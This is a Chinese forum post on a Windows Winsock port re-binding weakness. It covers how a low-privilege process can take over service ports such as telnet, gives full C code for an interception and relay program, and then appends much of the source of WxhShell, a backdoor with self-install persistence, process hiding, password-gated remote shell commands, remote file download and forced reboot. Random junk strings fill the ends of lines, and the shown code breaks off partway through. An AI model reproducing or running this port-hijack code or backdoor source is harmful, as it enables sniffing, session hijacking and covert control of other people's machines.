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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +F NGRL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SOG(&)b  
D,=~7/g  
  saddr.sin_family = AF_INET; NUM!'+H_h  
b$;oty9Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UA'bE~i  
o`,}b1lh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g<;pyvq|:  
0fstEExw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lO\HchG zB  
`ZL^+h<b>M  
  这意味着什么?意味着可以进行如下的攻击: +E9G"Z65iP  
&M5v EPR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GTB\95j]  
,l AZ4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  gwIR3u  
xpp nBnu$7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +8ib928E  
$G <r2lPy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [<i3l'V/[  
5 `TMqrk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M>=@Z*u/+  
ZzK^ bNx)0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RUr ~u  
zU[o_[+7^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dlyGgaV*X  
kT   
  #include rZ,3:x-:  
  #include Uy=yA  
  #include >7@,,~3  
  #include    #SHJ0+)o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /*gs]  
  int main() KiG19R$  
  { CV HKP[-  
  WORD wVersionRequested; %wl:>9]  
  DWORD ret; v9J1Hha#  
  WSADATA wsaData; 7_36xpw  
  BOOL val; gHh (QRA  
  SOCKADDR_IN saddr; "E7<S5 cr  
  SOCKADDR_IN scaddr; >lmqPuf  
  int err; aVHID{Gf Z  
  SOCKET s; +uF}mZ S^  
  SOCKET sc; P_jav 0j7g  
  int caddsize; fph+ 05.%  
  HANDLE mt; ^+%bh/2_W  
  DWORD tid;   r[):'ys,C  
  wVersionRequested = MAKEWORD( 2, 2 ); J|jvqt9C  
  err = WSAStartup( wVersionRequested, &wsaData ); % dFz[b  
  if ( err != 0 ) { a(IE8:yU`  
  printf("error!WSAStartup failed!\n"); uUS~"\`fk  
  return -1; %npLgCF  
  } ({Yfsf,  
  saddr.sin_family = AF_INET; OS%[SHs  
   %gn@B2z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Xqe Qj}2kA  
Y\<w|LkD8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5jK|  
  saddr.sin_port = htons(23); (eb65F@P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2ia&c@P-  
  { Q2oo\  
  printf("error!socket failed!\n"); 8MW-JZ  
  return -1; 5o{U$  
  } BbFLT@W4  
  val = TRUE; QDJ#zMxFD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~9@527m<',  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U*N{H$ACuR  
  {  \aof  
  printf("error!setsockopt failed!\n"); 6qQ_I 0f  
  return -1; s`Z.H5V>\  
  } G$_)X%Vb I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `"'u mIz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B.?F^m@zS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vp&.  
<Ed;tq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9pi{)PDJ  
  { {B#w9>'b  
  ret=GetLastError(); =MJRQ V67  
  printf("error!bind failed!\n"); KN@ [hb7%  
  return -1; s hq +  
  } r 25VcY  
  listen(s,2); LdOqV'&r  
  while(1) ' rXf  
  { N?S;v&q+  
  caddsize = sizeof(scaddr); 'G[G;?F  
  //接受连接请求 l`6.(6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5`}za-  
  if(sc!=INVALID_SOCKET) O)R}|  
  { Y]~-S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #v$wjqK5  
  if(mt==NULL) -1$z=,q'  
  { }VWUcALJV  
  printf("Thread Creat Failed!\n"); MowAM+?^}  
  break; 7C Sn79E  
  } 4uE )*1  
  } :Eh}]_  
  CloseHandle(mt); GXLh(d!C  
  } uZf 6W<a  
  closesocket(s); ~tL:r=  
  WSACleanup(); B<myt79F_[  
  return 0; JSq3)o9?/  
  }   V"gKk$j7  
  DWORD WINAPI ClientThread(LPVOID lpParam) E>#@ H  
  { S,|ZCl>+  
  SOCKET ss = (SOCKET)lpParam; J 7dHD(R8  
  SOCKET sc; 3KeY4b!h  
  unsigned char buf[4096]; ,. ht ~AE  
  SOCKADDR_IN saddr; Z9h4 pd  
  long num; X16O9qsh  
  DWORD val; zZY1E@~  
  DWORD ret; @b2?BSdUp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6]GHCyo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   st.{AEv@  
  saddr.sin_family = AF_INET; (-;(wCEE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L>Ze*dt  
  saddr.sin_port = htons(23); "`S?q G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) toj5b;+4F  
  { vG)B}`M  
  printf("error!socket failed!\n"); 04-@c  
  return -1; jpXbFWgN  
  } 9!r0uU"  
  val = 100; f;+.j/ +  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mJ[_q >  
  { @az<D7j2  
  ret = GetLastError(); $6ucz'  
  return -1; oFt_ yU-  
  } h1B_*L   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xe.f]a  
  { 1NTx?JJfW  
  ret = GetLastError(); rHybP6C<  
  return -1; l7<VHz0b  
  } AU}|o0Ur  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2A*,9S|Y  
  { KqBiF]Q  
  printf("error!socket connect failed!\n"); -W/D Cj<  
  closesocket(sc); 3*{l^<`:gA  
  closesocket(ss); #;1RStb:zj  
  return -1; <JXHg, Q  
  } &{#6Z  
  while(1) 5yJ~ q  
  { b9wC:NgQx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]f`UflMO8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F }F{/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ",5=LW&,  
  num = recv(ss,buf,4096,0); 1o_Zw.  
  if(num>0) !K=$Q Uq  
  send(sc,buf,num,0); pvWj)4e  
  else if(num==0) t"~X6o|R  
  break; ;Hp78!#,  
  num = recv(sc,buf,4096,0); )-iUUak  
  if(num>0) 5,O:"3>c  
  send(ss,buf,num,0); ZOppec1D  
  else if(num==0) 9qzHy}A  
  break; 3qV~C{ S  
  } "WPWMQ+  
  closesocket(ss);  YO fYa  
  closesocket(sc); 6/'X$}X  
  return 0 ; b; vVlIG  
  } 2>J;P C[;  
XfEp_.~JM  
y+7+({w<  
========================================================== R +U*]5~R  
LF (S"Of  
下边附上一个代码,,WXhSHELL ,#^2t_c/  
/L]@k`.q@  
========================================================== .345%j  
KAT"!b   
#include "stdafx.h" =:TQ_>$Nc2  
<h~uGBS"  
#include <stdio.h> Q/HEWk  
#include <string.h> !af;5F  
#include <windows.h> {)kL7>u]^V  
#include <winsock2.h> :a=]<_*x  
#include <winsvc.h> Ir- 1@_1Q  
#include <urlmon.h> sP9{tk2K  
.7Pp'-hK  
#pragma comment (lib, "Ws2_32.lib") DU5rB\!.~  
#pragma comment (lib, "urlmon.lib") ^|!\IzDp  
_?$')P|  
#define MAX_USER   100 // 最大客户端连接数 z,!A4ws  
#define BUF_SOCK   200 // sock buffer xkkG#n)  
#define KEY_BUFF   255 // 输入 buffer hPKutx  
&u) qw }  
#define REBOOT     0   // 重启 ^Y8G}Z|  
#define SHUTDOWN   1   // 关机 )"00fZL  
QdD@[  
#define DEF_PORT   5000 // 监听端口 r $LU$F  
Fv nf;']q  
#define REG_LEN     16   // 注册表键长度 ZxDh! _[s  
#define SVC_LEN     80   // NT服务名长度 ,6A/| K-  
'1G0YfG}n  
// 从dll定义API i1HO>X:ea  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 27F:-C~.9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !l9 #a{#6l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6Tq2WZ}<'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pi%-bD/w  
GIK.+kn\  
// wxhshell配置信息 k?Zcv*[)D+  
struct WSCFG { l`:-B 'WM  
  int ws_port;         // 监听端口 1P BnGQYM  
  char ws_passstr[REG_LEN]; // 口令 F=UW[zy/[  
  int ws_autoins;       // 安装标记, 1=yes 0=no pC&i!la{o}  
  char ws_regname[REG_LEN]; // 注册表键名 09iD| $~  
  char ws_svcname[REG_LEN]; // 服务名 [eDRghK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dVJ9cJ9^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lk)TK/JM)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +xr;X 9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1aUu:#c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #yCnM]cEn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a^&RV5o  
|g\CS4$  
}; |c2;`T#`o  
Ml_!)b  
// default Wxhshell configuration "x3!F&  
struct WSCFG wscfg={DEF_PORT, Wl,I%<&j}  
    "xuhuanlingzhe", g(F2IpUm/  
    1, 1-G-p:|  
    "Wxhshell", "?J f#  
    "Wxhshell", D]V&1n  
            "WxhShell Service", AUaupNN  
    "Wrsky Windows CmdShell Service", $BOIa  
    "Please Input Your Password: ", <1U *{y  
  1, Hxj8cX UF|  
  "http://www.wrsky.com/wxhshell.exe", /\pUA!G)BD  
  "Wxhshell.exe" )VG_Y9;Xk:  
    }; H .sfM   
w#sP5qKv8  
// 消息定义模块 S~y.>X3"P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z+?48 }  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ap}`Q(.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _`9WNJiL  
char *msg_ws_ext="\n\rExit."; 9H%ixBnM  
char *msg_ws_end="\n\rQuit."; =mxj2>,&  
char *msg_ws_boot="\n\rReboot..."; I=8MLv  
char *msg_ws_poff="\n\rShutdown..."; "N=q>jaX  
char *msg_ws_down="\n\rSave to "; ?&b"/sRS  
z)*\njYe  
char *msg_ws_err="\n\rErr!"; ZB,UQ~!Yr  
char *msg_ws_ok="\n\rOK!"; KeC&a=HL  
;FjI!V  
char ExeFile[MAX_PATH]; {5T:7*J  
int nUser = 0; tQ2S*]"f  
HANDLE handles[MAX_USER]; W6yz/{Rf  
int OsIsNt; &KeD{M%  
ZD8E+]+  
SERVICE_STATUS       serviceStatus; g^k=z:n3,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B=i%Z _r]w  
MV?sr[V-oP  
// 函数声明 +AOpB L'  
int Install(void); uq]E^#^  
int Uninstall(void); \&s$?r  
int DownloadFile(char *sURL, SOCKET wsh); GS!1K(7  
int Boot(int flag); Uetna!ABB  
void HideProc(void); Sr6?^>A@t  
int GetOsVer(void); wq#'o9s,  
int Wxhshell(SOCKET wsl); =ZARJ40L  
void TalkWithClient(void *cs); 3>^S6h}o  
int CmdShell(SOCKET sock); u$1^=  
int StartFromService(void); 5S #6{Y =  
int StartWxhshell(LPSTR lpCmdLine); \Xg`@JrTM  
;;zd/n2b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N*Xl0m(Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A)f/ww)Q  
1h?:gOig  
// 数据结构和表定义 tkhEjTZ  
SERVICE_TABLE_ENTRY DispatchTable[] = -k3WY&9,  
{ ]8XIw`:f  
{wscfg.ws_svcname, NTServiceMain}, zS}!87r)  
{NULL, NULL} aDX4}`u  
}; Qlhm:[  
Eqt>_n8  
// 自我安装 i th!,jY*i  
int Install(void) elb}] +  
{ qo}u(p Oj|  
  char svExeFile[MAX_PATH]; bg,VK1  
  HKEY key; l8N5}!N  
  strcpy(svExeFile,ExeFile); 8EZ,hY^  
9CHn6 v ~)  
// 如果是win9x系统,修改注册表设为自启动 P6 mDwR  
if(!OsIsNt) { 1);E!D[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G)7J$4R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2}#VB;B  
  RegCloseKey(key); -"n8Wv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yTU'voE.|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SQf.R%cg$  
  RegCloseKey(key); a~`,zQ -@  
  return 0; [N*`3UZk"  
    } 259:@bi!y  
  } ltmD=-]G_  
} q62U+o9G  
else { 9B1bq#  
[AAIBb +U  
// 如果是NT以上系统,安装为系统服务 !Ka~X!+\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #0/^v*  
if (schSCManager!=0) \'Ca%j  
{ >tV:QP]Y  
  SC_HANDLE schService = CreateService 78u=Jz6  
  ( -<q@0IYyi  
  schSCManager, =&;}#A%m  
  wscfg.ws_svcname, {Gr"oO`&"  
  wscfg.ws_svcdisp, V?z-Dt C  
  SERVICE_ALL_ACCESS, ]4&B*]j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wi!$bL`l  
  SERVICE_AUTO_START, (:J U  
  SERVICE_ERROR_NORMAL, G)y'exk  
  svExeFile, 4 !M6 RL8{  
  NULL, Y@V6/D} 1  
  NULL, uBBW2  
  NULL, \AB*C_Ri  
  NULL, ;Q%3WD  
  NULL +P"u1q*+p  
  ); e\i}@]  
  if (schService!=0) (`K ~p Z  
  { U\",!S~<  
  CloseServiceHandle(schService); w'!J   
  CloseServiceHandle(schSCManager); ju;Myi}a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IHf#P5y_  
  strcat(svExeFile,wscfg.ws_svcname); <x1H:8A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {   [IW6F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZfIeq<8 _  
  RegCloseKey(key); }zV#?;}  
  return 0; 3})0p  
    } .[X"+i\  
  } 3O'X;s2\d  
  CloseServiceHandle(schSCManager); 4 {3< `  
} -*&C "%e  
} Qx !! Ttd{  
-;o`(3wZq  
return 1; I K Dh)Zm  
} i]n ?zWo_h  
fsVr<m  
// 自我卸载 u&ozc  
int Uninstall(void) 2HJGp+H  
{ 0i9C\'W`  
  HKEY key; 7)+%;|~  
}WG -R  
if(!OsIsNt) { >CPoeIHK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pr^p ^s  
  RegDeleteValue(key,wscfg.ws_regname); ~m@w p  
  RegCloseKey(key);  .)XJ-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s$;IR c5!6  
  RegDeleteValue(key,wscfg.ws_regname); aQhr$aH  
  RegCloseKey(key); rlVo}kc7:  
  return 0; i"C?6R  
  } ^Dhu8C(  
} G,b1u"  
} vE+OL8V  
else { "J6 aU  
834dsl+U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {uMqd-Uu  
if (schSCManager!=0) FUU/=)^P$  
{ J*CfG;Y:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5mYI5~ p  
  if (schService!=0) I`}<1~ue  
  { Qz?r4kR  
  if(DeleteService(schService)!=0) { ='|HUxFi  
  CloseServiceHandle(schService); HxH=~B1"P  
  CloseServiceHandle(schSCManager); Z8Il3b*)  
  return 0; T~'9p`IW  
  } lEv<n6:_  
  CloseServiceHandle(schService); wC[Bh^]  
  } 6J%+pt[tu  
  CloseServiceHandle(schSCManager); A4uDuB;;ZQ  
} .Qeml4(`3  
} )|zna{g\  
0^{?kg2o_  
return 1; 4$!iw3N(  
} Nd4!:.  
zE NlL  
// 从指定url下载文件 n/]$k4h  
int DownloadFile(char *sURL, SOCKET wsh) Yl6\}_h`  
{ ~_Mz05J-\_  
  HRESULT hr; :-kXZe  
char seps[]= "/"; IW'2+EGc  
char *token; f@a@R$y  
char *file; R9z^=QKcH  
char myURL[MAX_PATH]; \3@AC7  
char myFILE[MAX_PATH]; |+MV%QG;  
Qvd$fY**  
strcpy(myURL,sURL); q#~]Hp=W5  
  token=strtok(myURL,seps); 35[8XD  
  while(token!=NULL) XK5qE"  
  { mjqVP.  
    file=token; /RmHG H!  
  token=strtok(NULL,seps); _}B:SM  
  } #TX=%x6  
|O]oX[~  
GetCurrentDirectory(MAX_PATH,myFILE); K9y!ZoB  
strcat(myFILE, "\\"); nC5  
strcat(myFILE, file); :J}@*>c  
  send(wsh,myFILE,strlen(myFILE),0); 8HLcDS#  
send(wsh,"...",3,0); 7E9h!<5v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .1F^=C.w  
  if(hr==S_OK) Vhs:X~=qL  
return 0; 61J01(+|  
else x@]pUA1  
return 1; 6A& f  
k&1~yW  
} :bA@ u>  
AT{ewb  
// 系统电源模块 g{ cHh(S  
int Boot(int flag) cKX6pG  
{ \k|ZbCWg  
  HANDLE hToken; ,{{uRs/  
  TOKEN_PRIVILEGES tkp; F W# S.<  
]{[VTjC7rY  
  if(OsIsNt) { Z<#beT6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .#b!#   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }hFjl4`xa  
    tkp.PrivilegeCount = 1; ;mLbJT   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2Ax HhD.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nV0"q|0K;  
if(flag==REBOOT) { {Z_Pry$6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I/s?] v  
  return 0; /.\$%bua  
} 66%#$WH#  
else {  F%6`D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) imtW[y+4  
  return 0; j]"Yz t~u  
} UP]J `\$o  
  } m GWT</=[$  
  else { "l&sDh%Lk<  
if(flag==REBOOT) { WbS2w @8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <bf^'$l  
  return 0; ud`.}H~aB  
} %Ya-;&;`  
else { <)]B$~(a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h(I~HZ[K&T  
  return 0; OX ?9 3AlG  
} MQQ!@I`  
} [PrR 3 0:  
)^^r\  
return 1; 9b !+kJD  
} {cv,Tz[Q>  
[j5 ^Zb&0  
// win9x进程隐藏模块 V&_5q`L  
void HideProc(void) %xR;8IO  
{ 3Lq?Y7#KQp  
`\&qk)ZP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 48n>[ FMSR  
  if ( hKernel != NULL ) Ox&g#,@h  
  { zu}h3n5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %&^F.JTt\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N L]:<FG  
    FreeLibrary(hKernel); 7;n'4LIa9  
  } ~"5WQK`@  
S{z%Q  
return; .J~iRhVOF  
} L `+\M+  
E<a~ `e  
// 获取操作系统版本 KTk%N p  
int GetOsVer(void) =? xA*_^  
{ B{|P}fN5}  
  OSVERSIONINFO winfo; =?57*=]0M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >;QkV6i7  
  GetVersionEx(&winfo); -)?~5Z   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {61NLF\0H  
  return 1; +6f5uMKUvs  
  else ''wWw(2O  
  return 0; r}QW!^F  
} ;=6 ++Oq  
8@/]ki `>  
// 客户端句柄模块 v^[Ny0cM  
int Wxhshell(SOCKET wsl) ,KIa+&vJW@  
{ 0ldde&!p  
  SOCKET wsh; g?i_10Xlp  
  struct sockaddr_in client; `a2Oj@jP  
  DWORD myID; C>@~W(IE  
RN3w{^Ll  
  while(nUser<MAX_USER) .d9VV&  
{ U;6~]0^K  
  int nSize=sizeof(client); tGd9Cs9D<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T_,LK7D  
  if(wsh==INVALID_SOCKET) return 1; A A<9 XC  
;oULtQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ix]3t^  
if(handles[nUser]==0) @^;WC+\0  
  closesocket(wsh); %I%F !M  
else ZH`6>:  
  nUser++; TRAs5I%  
  } q?Q"Ab  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n\*>m p)  
*`);_EVc  
  return 0; t3Q;1#Zf  
} 9))%tYN  
!hF b <  
// 关闭 socket rP;Fh|w#  
void CloseIt(SOCKET wsh) 3 T Q#3h  
{ ,vW.vq<{q3  
closesocket(wsh); *D,+v!wG9  
nUser--; '4FS.0*_  
ExitThread(0); PQvq$|q  
} 3VA8K@QiRm  
S5v>WI^0h  
// 客户端请求句柄 Q_6./.GQ  
void TalkWithClient(void *cs) P}&7G-  
{ 0} liK  
|RAi6;  
  SOCKET wsh=(SOCKET)cs; yi# Nrc5B  
  char pwd[SVC_LEN]; `-s+  zG  
  char cmd[KEY_BUFF]; R`ZU'|  
char chr[1]; <W/-[ M  
int i,j; =t&B8+6  
*xU^e`P  
  while (nUser < MAX_USER) {  mbd  
v2EM| Q xp  
if(wscfg.ws_passstr) { w>H!H6Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zu\#;O   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V>A@Sw  
  //ZeroMemory(pwd,KEY_BUFF); zmf5!77  
      i=0; A>OL5TCl  
  while(i<SVC_LEN) { xJ>hN@5}i  
c 2?(.UV  
  // 设置超时 52l|  
  fd_set FdRead; MY9?957F  
  struct timeval TimeOut; Zi@?g IiX  
  FD_ZERO(&FdRead); i3;Z:,A4NN  
  FD_SET(wsh,&FdRead); z=>]E 1'RL  
  TimeOut.tv_sec=8; ):LJ {.0R  
  TimeOut.tv_usec=0; V[+ Pb]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %'4dg k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jDgiH}  
^bL.|vB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eiP>?8  
  pwd=chr[0]; kc|`VB8L  
  if(chr[0]==0xd || chr[0]==0xa) { n?Gm 5##  
  pwd=0; x gaN0!  
  break; !pw%l4]/t  
  } "@GopD  
  i++; ^o:0 Y}v=  
    } *M+:GH/5  
8xg:ItJaA0  
  // 如果是非法用户,关闭 socket )5d&K8@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +*)B;)P  
} )V)4N[?GC  
Q`AJR$L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,O 3"r;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #hR}7K+@  
W|D'S}J  
while(1) { g6QkF41nG  
u33+ikYv  
  ZeroMemory(cmd,KEY_BUFF); nsw.\(#  
RXl52#:  
      // 自动支持客户端 telnet标准   &ks>.l\  
  j=0; A{9Hm:)  
  while(j<KEY_BUFF) { go2:D#mf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1/gY]ghL  
  cmd[j]=chr[0]; 0\o0(eHCQz  
  if(chr[0]==0xa || chr[0]==0xd) { {U^mL6=&v  
  cmd[j]=0; ,a^_ ~(C  
  break; y7d)[d*Mz  
  } q+gqa<kM  
  j++; G:u[Lk#6K  
    } }Ax$}#  
Pm+H!x,  
  // 下载文件 !ybEv | =  
  if(strstr(cmd,"http://")) { _Mq@58q'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6prN,*k5  
  if(DownloadFile(cmd,wsh)) ,E)bS7W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/a*8vuGh  
  else #MGZje,I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tEiN(KA!5  
  } (X>r_4W$  
  else { M9bb,`X>Q  
bhe|q`1,E  
    switch(cmd[0]) { )_xM)mH  
  Ms^Y:,;Hi  
  // 帮助 YfxZ<  
  case '?': { Am  kHVg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qG=`'%,m  
    break; <0R?#^XBZB  
  } db.iMBki  
  // 安装 /:yKa=$  
  case 'i': { KkAk(9Q/3  
    if(Install()) !WVF{L,/I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VEb}KFyP  
    else "5Kx]y8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "=yaeEp  
    break; G _42ckLq  
    } 5"XcVH4g  
  // 卸载 iCl,7$[*  
  case 'r': { |!57Z4X  
    if(Uninstall()) oB_{xu$6|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (]mN09uE  
    else V\ARe=IWM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '^7Sa  
    break; bE]2:~  
    } [0MVsc=  
  // 显示 wxhshell 所在路径 $qIMYX  
  case 'p': { `n5 )oU2q  
    char svExeFile[MAX_PATH]; /7P4[~vw  
    strcpy(svExeFile,"\n\r"); l)XzU&Sc~  
      strcat(svExeFile,ExeFile); 42# rhgW  
        send(wsh,svExeFile,strlen(svExeFile),0); tgg *6lc  
    break; _4.`$n/Z  
    } #{ `(;83  
  // 重启 #G9S[J=xe  
  case 'b': { XL} oYL]}&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zf?>:P  
    if(Boot(REBOOT)) Mg^GN -l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LG&~#x  
    else { 4V<s"  
    closesocket(wsh); _Y}(v( (;  
    ExitThread(0); ";s?#c  
    } P" 3{s+ r  
    break; uWi+F)GS^K  
    } sl/#1B   
